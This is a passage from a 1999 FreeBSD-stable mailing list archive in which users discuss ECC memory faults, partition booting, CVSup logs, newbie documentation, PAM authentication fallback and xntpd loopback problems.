avail?] Re: MMAP() in STABLE/CURRENT ... In-reply-to: Your message of "Fri, 08 Oct 1999 10:12:17 BST." <19991008101217.A24152@gosset.maths.tcd.ie> From: David Greenman Reply-To: dg@root.com Date: Fri, 08 Oct 1999 02:34:25 -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >On Thu, Oct 07, 1999 at 10:09:23AM -0700, Matthew Dillon wrote: > >> Intel's ECC implementation is not perfect (1), but it's good enough to >> catch these sorts of problems. > >Just as an interesting side note, we had a motherboard which >supported ECC ram and had ECC ram in it and which was crashing. >Eventually we discovered that every 8th byte in page aligned 4KB >chunks was becomming corrupted. > >We replaced the ram and saw no improvement, and then got a replacement >motherboard. As far as I could see the only significant difference >between the new and old motherboard was the addition of a heat sink >to the memory controler chip. The machine is now perfectly happy. > >So it seems that ECC isn't enough if your memory controler is too >hot! ECC doesn't protect against certain types of motherboard address line errors (since although the ECC is correct, the selected address is wrong, so thus the data is wrong). There's parity protection on parts of the CPU address bus, but I don't believe there is any protection between the memory controller and the DIMMs for this type of problem. A handful of metal filings is also known to cause problems when it is dispersed properly. :-) -DG David Greenman Co-founder/Principal Architect, The FreeBSD Project - http://www.freebsd.org Creator of high-performance Internet servers - http://www.terasolutions.com Pave the road of life with opportunities. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 3:38:24 1999 Delivered-To: freebsd-stable@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id CCA1F157F4 for ; Fri, 8 Oct 1999 03:38:15 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p13-dn01kiryunisiki.gunma.ocn.ne.jp [210.132.6.142]) by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id TAA08577; Fri, 8 Oct 1999 19:38:00 +0900 (JST) Message-ID: <37FDBE61.EA936575@newsguy.com> Date: Fri, 08 Oct 1999 18:50:25 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Tom Embt Cc: freebsd-stable@FreeBSD.ORG Subject: Re: disk partitions References: <199910052325.QAA01404@chad.anasazi.com> <3.0.3.32.19991007114127.009aeca0@mail.embt.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Tom Embt wrote: > > If ever there was such a requirement, it is no longer applicable. Some > (all?) off the various incantations of Windows need to boot < 1024 cyl > boundary (usually 8 GB), but they are happy in any slice. IIRC, they do > have problems booting to anything other than primary master for IDE. There *is* a limitation. Windows will only boot from a primary partition. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org "I always feel generous when I'm in the inner circle of a conspiracy to subvert the world order and, with a small group of allies, just defeated an alien invasion. Maybe I should value myself a little more?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 3:38:47 1999 Delivered-To: freebsd-stable@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 64F8D14F85 for ; Fri, 8 Oct 1999 03:38:39 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p13-dn01kiryunisiki.gunma.ocn.ne.jp [210.132.6.142]) by peach.ocn.ne.jp (8.9.1a/OCN) with ESMTP id TAA08584; Fri, 8 Oct 1999 19:38:03 +0900 (JST) Message-ID: <37FDC033.F3B549A6@newsguy.com> Date: Fri, 08 Oct 1999 18:58:11 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: John Polstra Cc: Martin@McFlySr.Kurgan.Ru, stable@FreeBSD.ORG, Dom Mitchell Subject: Re: Seeing log messages associated with CVSup updates References: <13641.991004@McFlySr.Kurgan.Ru> <199910071621.JAA47057@vashon.polstra.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Polstra wrote: > > In article <13641.991004@McFlySr.Kurgan.Ru>, > > Edit src/share/man/man5/rc.conf.5 > > Add delta 1.27.2.17 99.10.02.10.21.36 des > > Add delta 1.27.2.18 99.10.02.21.41.35 des > > Here is a really clever awk script that was written by Dom Mitchell > . It converts your CVSup log output > into an html page that you can display in your web browser. Each > "Edit" or "Checkout" line becomes a link to the cvsweb page for the > file. This script will be in the contrib section of the next release > of CVSup. This script is really cool, but it is still a little bit lacking. If we could have a link to the diff between the version you have and the latest version, that would be much better. It seems feasible, isn't it? -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org "I always feel generous when I'm in the inner circle of a conspiracy to subvert the world order and, with a small group of allies, just defeated an alien invasion. Maybe I should value myself a little more?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 3:38:54 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mpp.pro-ns.net (pppdsle45.mpls.uswest.net [216.160.23.45]) by hub.freebsd.org (Postfix) with ESMTP id 55F1E150ED; Fri, 8 Oct 1999 03:38:43 -0700 (PDT) (envelope-from mpp@mpp.pro-ns.net) Received: (from mpp@localhost) by mpp.pro-ns.net (8.9.3/8.9.3) id FAA44547; Fri, 8 Oct 1999 05:37:29 -0500 (CDT) (envelope-from mpp) Date: Fri, 8 Oct 1999 05:37:29 -0500 From: Mike Pritchard To: Michael Lucas Cc: dave@allunix.com, stable@freebsd.org, doc@freebsd.org Subject: Re: Roasting Newbies Message-ID: <19991008053729.C44391@mpp.pro-ns.net> References: <199910071346.NAA19666@web1.aps-services.com> <199910072120.RAA25826@blackhelicopters.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <199910072120.RAA25826@blackhelicopters.org> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Oct 07, 1999 at 05:20:45PM -0400, Michael Lucas wrote: > IMHO, tensions on the FreeBSD lists are running at their greatest > level since... oh, I'd say mid-96, when I first subscribed to > -questions. > > If a "FreeBSD newbies info page" will help, then I'm all for it. I > don't see what sort of "ramifications" it could have, other than to > (perhaps) reduce some of the stress all around. If we add a "newusers" web document, then how about 1 or 2 "newusers" on-line manual pages as well. I'm thinking something along the lines of newusers.7 (misc documentation), and newusers.8 (sys admin docs). We can setup the default install /etc/motd to mention these documents in the hope that they will be read. And maybe mention them elsewhere in some of the install documentation, and other places. If someone gives me the text, I'll be sure that it gets converted to our current man page style somehow (either by me, or someone I con...err, convince to do it :-). I'm sure given quality text, we can find someone to convert it to docbook format, and I can probably do that, too, if no one else steps up to do that. -Mike -- Mike Pritchard mpp@FreeBSD.org or mpp@mpp.pro-ns.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 3:42: 8 1999 Delivered-To: freebsd-stable@freebsd.org Received: from mpp.pro-ns.net (pppdsle45.mpls.uswest.net [216.160.23.45]) by hub.freebsd.org (Postfix) with ESMTP id 55A1114CAF; Fri, 8 Oct 1999 03:40:03 -0700 (PDT) (envelope-from mpp@mpp.pro-ns.net) Received: (from mpp@localhost) by mpp.pro-ns.net (8.9.3/8.9.3) id FAA44547; Fri, 8 Oct 1999 05:37:29 -0500 (CDT) (envelope-from mpp) Date: Fri, 8 Oct 1999 05:37:29 -0500 From: Mike Pritchard To: Michael Lucas Cc: dave@allunix.com, stable@freebsd.org, doc@freebsd.org Subject: Re: Roasting Newbies Message-ID: <19991008053729.C44391@mpp.pro-ns.net> References: <199910071346.NAA19666@web1.aps-services.com> <199910072120.RAA25826@blackhelicopters.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <199910072120.RAA25826@blackhelicopters.org> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Oct 07, 1999 at 05:20:45PM -0400, Michael Lucas wrote: > IMHO, tensions on the FreeBSD lists are running at their greatest > level since... oh, I'd say mid-96, when I first subscribed to > -questions. > > If a "FreeBSD newbies info page" will help, then I'm all for it. I > don't see what sort of "ramifications" it could have, other than to > (perhaps) reduce some of the stress all around. If we add a "newusers" web document, then how about 1 or 2 "newusers" on-line manual pages as well. I'm thinking something along the lines of newusers.7 (misc documentation), and newusers.8 (sys admin docs). We can setup the default install /etc/motd to mention these documents in the hope that they will be read. And maybe mention them elsewhere in some of the install documentation, and other places. If someone gives me the text, I'll be sure that it gets converted to our current man page style somehow (either by me, or someone I con...err, convince to do it :-). I'm sure given quality text, we can find someone to convert it to docbook format, and I can probably do that, too, if no one else steps up to do that. -Mike -- Mike Pritchard mpp@FreeBSD.org or mpp@mpp.pro-ns.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 4:12: 2 1999 Delivered-To: freebsd-stable@freebsd.org Received: from rucus.ru.ac.za (rucus.ru.ac.za [146.231.29.2]) by hub.freebsd.org (Postfix) with SMTP id 0490314C83 for ; Fri, 8 Oct 1999 04:11:55 -0700 (PDT) (envelope-from nbm@rucus.ru.ac.za) Received: (qmail 11142 invoked by uid 1003); 8 Oct 1999 11:14:14 -0000 Date: Fri, 8 Oct 1999 13:14:14 +0200 From: Neil Blakey-Milner To: Mike Pritchard Cc: Michael Lucas , dave@allunix.com, stable@FreeBSD.ORG, doc@FreeBSD.ORG Subject: Re: Roasting Newbies Message-ID: <19991008131413.A10441@rucus.ru.ac.za> References: <199910071346.NAA19666@web1.aps-services.com> <199910072120.RAA25826@blackhelicopters.org> <19991008053729.C44391@mpp.pro-ns.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <19991008053729.C44391@mpp.pro-ns.net> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri 1999-10-08 (05:37), Mike Pritchard wrote: > If we add a "newusers" web document, then how about 1 or 2 "newusers" > on-line manual pages as well. I'm thinking something along the lines > of newusers.7 (misc documentation), and newusers.8 (sys admin docs). > We can setup the default install /etc/motd to mention these documents > in the hope that they will be read. And maybe mention them elsewhere > in some of the install documentation, and other places. We do have a newusers web document. > If someone gives me the text, I'll be sure that it gets converted > to our current man page style somehow (either by me, or someone > I con...err, convince to do it :-). I'm sure given quality text, > we can find someone to convert it to docbook format, and I can > probably do that, too, if no one else steps up to do that. However, yes, it is a bit out of date. I will probably volunteer for doing docbook conversions if they're necessary. Neil -- Neil Blakey-Milner nbm@rucus.ru.ac.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 4:39:10 1999 Delivered-To: freebsd-stable@freebsd.org Received: from planlos.crew-kg.net (planlos.crew-kg.NET [192.76.134.49]) by hub.freebsd.org (Postfix) with ESMTP id 3585214DEE for ; Fri, 8 Oct 1999 04:38:43 -0700 (PDT) (envelope-from soenksen@planlos.hanse.de) Received: by planlos.crew-kg.net (Postfix, from userid 1001) id A732CAE; Fri, 8 Oct 1999 13:39:51 +0200 (CEST) Date: Fri, 8 Oct 1999 13:39:50 +0200 From: Sebastian Soenksen To: freebsd-stable@freebsd.org Subject: Authentication & PAM Message-ID: <19991008133950.A47001@planlos.crew-kg.net> Reply-To: soenksen@planlos.hanse.de Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I'm trying to set up PAM authentication in our network. I inserted into /etc/auth.conf "auth_default = pam" and there is no other attribute. When I log in, I can see in the logfiles that PAM tries to authentication, but if it doesn't work, I can STILL log in -- it seems that there is a default fallback to /etc/master.passwd authentication. Anybody knows how to change authentication _ONLY_ to PAM? Thanks & bye -- Sebastian Soenksen ; http://www.planlos.hanse.de/ ; pgpkey available To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 4:47:21 1999 Delivered-To: freebsd-stable@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id 5138A14DEE for ; Fri, 8 Oct 1999 04:46:29 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id OAA44376; Fri, 8 Oct 1999 14:45:22 +0300 (EEST) (envelope-from ru) Date: Fri, 8 Oct 1999 14:45:22 +0300 From: Ruslan Ermilov To: soenksen@planlos.hanse.de Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Authentication & PAM Message-ID: <19991008144521.C36664@relay.ucb.crimea.ua> Mail-Followup-To: soenksen@planlos.hanse.de, freebsd-stable@FreeBSD.ORG References: <19991008133950.A47001@planlos.crew-kg.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: <19991008133950.A47001@planlos.crew-kg.net>; from Sebastian Soenksen on Fri, Oct 08, 1999 at 01:39:50PM +0200 X-Operating-System: FreeBSD 3.3-STABLE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 08, 1999 at 01:39:50PM +0200, Sebastian Soenksen wrote: > Hi, > > I'm trying to set up PAM authentication in our network. > I inserted into /etc/auth.conf "auth_default = pam" and there > is no other attribute. When I log in, I can see in the logfiles > that PAM tries to authentication, but if it doesn't work, > I can STILL log in -- it seems that there is a default fallback > to /etc/master.passwd authentication. > > Anybody knows how to change authentication _ONLY_ to PAM? > Did you try editing /etc/pam.conf? HTH, -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 4:50: 1 1999 Delivered-To: freebsd-stable@freebsd.org Received: from planlos.crew-kg.net (planlos.crew-kg.NET [192.76.134.49]) by hub.freebsd.org (Postfix) with ESMTP id 693F214DEE for ; Fri, 8 Oct 1999 04:49:53 -0700 (PDT) (envelope-from soenksen@planlos.hanse.de) Received: by planlos.crew-kg.net (Postfix, from userid 1001) id 88A48AE; Fri, 8 Oct 1999 13:51:03 +0200 (CEST) Date: Fri, 8 Oct 1999 13:51:03 +0200 From: Sebastian Soenksen To: freebsd-stable@freebsd.org Subject: Re: Authentication & PAM Message-ID: <19991008135103.A47093@planlos.crew-kg.net> Reply-To: soenksen@planlos.hanse.de References: <19991008133950.A47001@planlos.crew-kg.net> <19991008144521.C36664@relay.ucb.crimea.ua> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <19991008144521.C36664@relay.ucb.crimea.ua> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 08, 1999 at 02:45:22PM +0300, Ruslan Ermilov wrote: > > I'm trying to set up PAM authentication in our network. > Did you try editing /etc/pam.conf? The problem is not that PAM doesn't work. My problem is that FreeBSD first tries PAM and after that (if it fails) I can *STILL* log in. Why? Is there a fallback to unix-authentication? As I said, I complete disable all other authentication-methods in /etc/auth.conf.. Bye -- Sebastian Soenksen ; http://www.planlos.hanse.de/ ; pgpkey available To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 4:50:48 1999 Delivered-To: freebsd-stable@freebsd.org Received: from ns1.aktrad.ru (ns1.aktrad.ru [195.218.140.4]) by hub.freebsd.org (Postfix) with ESMTP id 2829F154D0 for ; Fri, 8 Oct 1999 04:50:28 -0700 (PDT) (envelope-from hook@aktrad.ru) Received: from sloth (sloth.aktrad.ru [195.218.140.13]) by ns1.aktrad.ru (8.9.3/8.9.3) with SMTP id PAA24813 for ; Fri, 8 Oct 1999 15:50:17 +0400 (MSD) Message-ID: <129401bf1183$3331c170$0d8cdac3@aktrad.ru> From: "Gene Sokolov" To: Subject: xntpd problems with FreeBSD 3.3-stable Date: Fri, 8 Oct 1999 15:49:37 +0400 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We recently upgraded our old 2.2.8 server to 3.3 stable and changed the old ntpd to xntpd which comes with 3.3. Since then we were unable to sync time. The xntpd stays in stratum 16, no matter what we do inferno# ntptrace exch ns1.aktrad.ru: stratum 16, offset -4.302678, synch distance 6.90456 0.0.0.0: *Timeout* the old server works just fine: inferno# ntptrace test test.aktrad.ru: stratum 2, offset 0.165126, synch distance 0.54787 haven.umd.edu: stratum 1, offset -0.112727, synch distance 0.00577, refid 'WWVB' We switched back to ntpd, by installing it from ports and copying the old config file. It did not help. Can anyone give me any pointer to where the problem might be? Thanks. here is our ntp.conf file: ***begin*** server rackety.udel.edu server umd1.umd.edu server lilben.tn.cornell.edu driftfile /etc/ntp.drift restrict default ***end*** Gene Sokolov. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 4:54:34 1999 Delivered-To: freebsd-stable@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id 652531503D for ; Fri, 8 Oct 1999 04:53:47 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id OAA46975; Fri, 8 Oct 1999 14:52:43 +0300 (EEST) (envelope-from ru) Date: Fri, 8 Oct 1999 14:52:43 +0300 From: Ruslan Ermilov To: soenksen@planlos.hanse.de Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Authentication & PAM Message-ID: <19991008145243.A45340@relay.ucb.crimea.ua> Mail-Followup-To: soenksen@planlos.hanse.de, freebsd-stable@FreeBSD.ORG References: <19991008133950.A47001@planlos.crew-kg.net> <19991008144521.C36664@relay.ucb.crimea.ua> <19991008135103.A47093@planlos.crew-kg.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: <19991008135103.A47093@planlos.crew-kg.net>; from Sebastian Soenksen on Fri, Oct 08, 1999 at 01:51:03PM +0200 X-Operating-System: FreeBSD 3.3-STABLE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 08, 1999 at 01:51:03PM +0200, Sebastian Soenksen wrote: > On Fri, Oct 08, 1999 at 02:45:22PM +0300, Ruslan Ermilov wrote: > > > I'm trying to set up PAM authentication in our network. > > Did you try editing /etc/pam.conf? > The problem is not that PAM doesn't work. My problem is that > FreeBSD first tries PAM and after that (if it fails) I can *STILL* > log in. Why? Is there a fallback to unix-authentication? > As I said, I complete disable all other authentication-methods > in /etc/auth.conf.. > What is your /etc/pam.conf looks like? -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 5:29:11 1999 Delivered-To: freebsd-stable@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id 8E29014A31 for ; Fri, 8 Oct 1999 05:27:55 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id PAA55634; Fri, 8 Oct 1999 15:26:45 +0300 (EEST) (envelope-from ru) Date: Fri, 8 Oct 1999 15:26:45 +0300 From: Ruslan Ermilov To: soenksen@planlos.hanse.de Cc: stable@FreeBSD.org Subject: Re: Authentication & PAM Message-ID: <19991008152645.B45340@relay.ucb.crimea.ua> Mail-Followup-To: soenksen@planlos.hanse.de, stable@FreeBSD.org References: <19991008133950.A47001@planlos.crew-kg.net> <19991008144521.C36664@relay.ucb.crimea.ua> <19991008135103.A47093@planlos.crew-kg.net> <19991008145243.A45340@relay.ucb.crimea.ua> <19991008135919.A47204@planlos.crew-kg.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: <19991008135919.A47204@planlos.crew-kg.net>; from Sebastian Soenksen on Fri, Oct 08, 1999 at 01:59:19PM +0200 X-Operating-System: FreeBSD 3.3-STABLE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Oct 08, 1999 at 01:59:19PM +0200, Sebastian Soenksen wrote: > On Fri, Oct 08, 1999 at 02:52:43PM +0300, Ruslan Ermilov wrote: > > > > Did you try editing /etc/pam.conf? > > > log in. Why? Is there a fallback to unix-authentication? > > > As I said, I complete disable all other authentication-methods > > > in /etc/auth.conf.. > > > > > What is your /etc/pam.conf looks like? > I have only LDAP in my pam.conf. And that _can't_ work yet, but > I can still login. > Grr... That's why I asked your to show me your /etc/pam.conf. Does the third field of the LDAP module set to `sufficient'? It should be `requisite' in your case. Note, that with empty /etc/pam.conf you can login without supplying a password. -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 5:48:37 1999 Delivered-To: freebsd-stable@freebsd.org Received: from ns1.aktrad.ru (ns1.aktrad.ru [195.218.140.4]) by hub.freebsd.org (Postfix) with ESMTP id 9AC5714C0B for ; Fri, 8 Oct 1999 05:48:12 -0700 (PDT) (envelope-from hook@aktrad.ru) Received: from sloth (sloth.aktrad.ru [195.218.140.13]) by ns1.aktrad.ru (8.9.3/8.9.3) with SMTP id QAA00580 for ; Fri, 8 Oct 1999 16:48:09 +0400 (MSD) Message-ID: <131101bf118b$4452d9f0$0d8cdac3@aktrad.ru> From: "Gene Sokolov" To: References: <129401bf1183$3331c170$0d8cdac3@aktrad.ru> Subject: Re: xntpd problems with FreeBSD 3.3-stable Date: Fri, 8 Oct 1999 16:47:22 +0400 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Seems like the problem is not xntpd specific. We just figured that it seems to occur because loopback address 127.0.0.1 can't be found. Is there something in 3.3 which may disable the loopback device? Gene Sokolov. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 5:51:43 1999 Delivered-To: freebsd-stable@freebsd.org Received: from out0.mx.skynet.be (out0.mx.skynet.be [195.238.2.35]) by hub.freebsd.org (Postfix) with ESMTP id A7E5314C83 for ; Fri, 8 Oct 1999 05:51:35 -0700 (PDT) (envelope-from root@foxbert.skynet.be) Received: from foxbert.skynet.be (foxbert.skynet.be [195.238.1.45]) by out0.mx.skynet.be (8.9.3/odie-relay-v1.0) with ESMTP id OAA13231; Fri, 8 Oct 1999 14:51:30 +0200 (MET DST) Received: (from root@localhost) by foxbert.skynet.be (8.9.1/jovi-pop-2.1) id OAA09191; Fri, 8 Oct 1999 14:51:29 +0200 (MET DST) Mime-Version: 1.0 X-Sender: blk@foxbert.skynet.be Message-Id: In-Reply-To: <199910071840.OAA25123@blackhelicopters.org> References: <199910071840.OAA25123@blackhelicopters.org> Date: Fri, 8 Oct 1999 13:28:04 +0200 To: Michael Lucas , stable@FreeBSD.ORG From: Brad Knowles Subject: Re: Roasting Newbies Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 2:40 PM -0400 1999/10/7, Michael Lucas wrote: > http://www.blackhelicopters.org/~dispatch/bsd-self-help.html Speaking as someone who has had my share of problems on this topic (and on this mailing list), I think this is a very good page. I would add that a "FreeBSD newbie" is someone who probably has less than a year's experience administering FreeBSD (or one of the closely related *BSD variants), even if they might have years of experience with other Unices. Therefore [0], even if you've been on the 'net for over fifteen years, you've been doing Unix systems administration for over ten years, you've have several years experience doing Unix systems administration at some of the largest and most complex sites in the world, if you haven't been administering FreeBSD and monitoring the various FreeBSD mailing lists for a year or more, you're probably a FreeBSD newbie. As such, most any questions you might have are almost certainly likely to be more appropriate to -questions than any other mailing list. Even if -questions turns out to be the wrong mailing list, it's better to ask your question there and be directed somewhere else (e.g., -hackers), than it is to ask your question somewhere else and be directed to -questions. IMO [1], it would also help to close the other mailing lists to posts from non-subscribers, and have -questions be the only mailing list to which non-subscribers can post. If anyone attempted to post to any mailing list other than -questions, they could get an error message returned to them that referenced the above URL. [0] Taking myself as an example, since I don't have the right or authority to use anyone else in this role. [1] Of course, I'm sure this particular point has been debated to death on some other mailing list I've haven't even heard of yet. I'm sorry for bringing this up again, but I think it is relevant to the question of newbies. -- These are my opinions -- not to be taken as official Skynet policy ____________________________________________________________________ |o| Brad Knowles, Belgacom Skynet NV/SA |o| |o| Systems Architect, News & FTP Admin Rue Col. Bourg, 124 |o| |o| Phone/Fax: +32-2-706.11.11/12.49 B-1140 Brussels |o| |o| http://www.skynet.be Belgium |o| \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ Unix is like a wigwam -- no Gates, no Windows, and an Apache inside. Unix is very user-friendly. It's just picky who its friends are. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 6:16: 5 1999 Delivered-To: freebsd-stable@freebsd.org Received: from team7.cba.ualr.edu (team7.cba.ualr.edu [144.167.120.24]) by hub.freebsd.org (Postfix) with ESMTP id 86CB414E7B for ; Fri, 8 Oct 1999 06:15:56 -0700 (PDT) (envelope-from joe@team7.cba.ualr.edu) Received: from team7.cba.ualr.edu (team7.cba.ualr.edu [144.167.120.24]) by team7.cba.ualr.edu (8.8.8/8.8.8) with ESMTP id IAA10503; Fri, 8 Oct 1999 08:17:56 -0500 (CDT) Date: Fri, 8 Oct 1999 08:17:55 -0500 (CDT) From: Joe To: Gene Sokolov Cc: freebsd-stable@FreeBSD.ORG Subject: Re: xntpd problems with FreeBSD 3.3-stable In-Reply-To: <131101bf118b$4452d9f0$0d8cdac3@aktrad.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 8 Oct 1999, Gene Sokolov wrote: > Date: Fri, 8 Oct 1999 16:47:22 +0400 > From: Gene Sokolov > To: freebsd-stable@FreeBSD.ORG > Subject: Re: xntpd problems with FreeBSD 3.3-stable > > Seems like the problem is not xntpd specific. We just figured that it seems > to occur because loopback address 127.0.0.1 can't be found. Is there > something in 3.3 which may disable the loopback device? > > Gene Sokolov. > Problems with loopback is covered in the errata. See http://www.freebsd.org/releases/3.3R/errata.html for a fix. -Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 6:36: 7 1999 Delivered-To: freebsd-stable@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id 3C8CC14E61 for ; Fri, 8 Oct 1999 06:33:03 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id QAA72605 for stable@FreeBSD.org; Fri, 8 Oct 1999 16:32:46 +0300 (EEST) (envelope-from ru) Received: from planlos.crew-kg.net (planlos.crew-kg.NET [192.76.134.49]) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) with ESMTP id QAA72515 for ; Fri, 8 Oct 1999 16:29:05 +0300 (EEST) (envelope-from soenksen@planlos.hanse.de) Received: by planlos.crew-kg.net (Postfix, from userid 1001) id 210E8AE; Fri, 8 Oct 1999 15:29:21 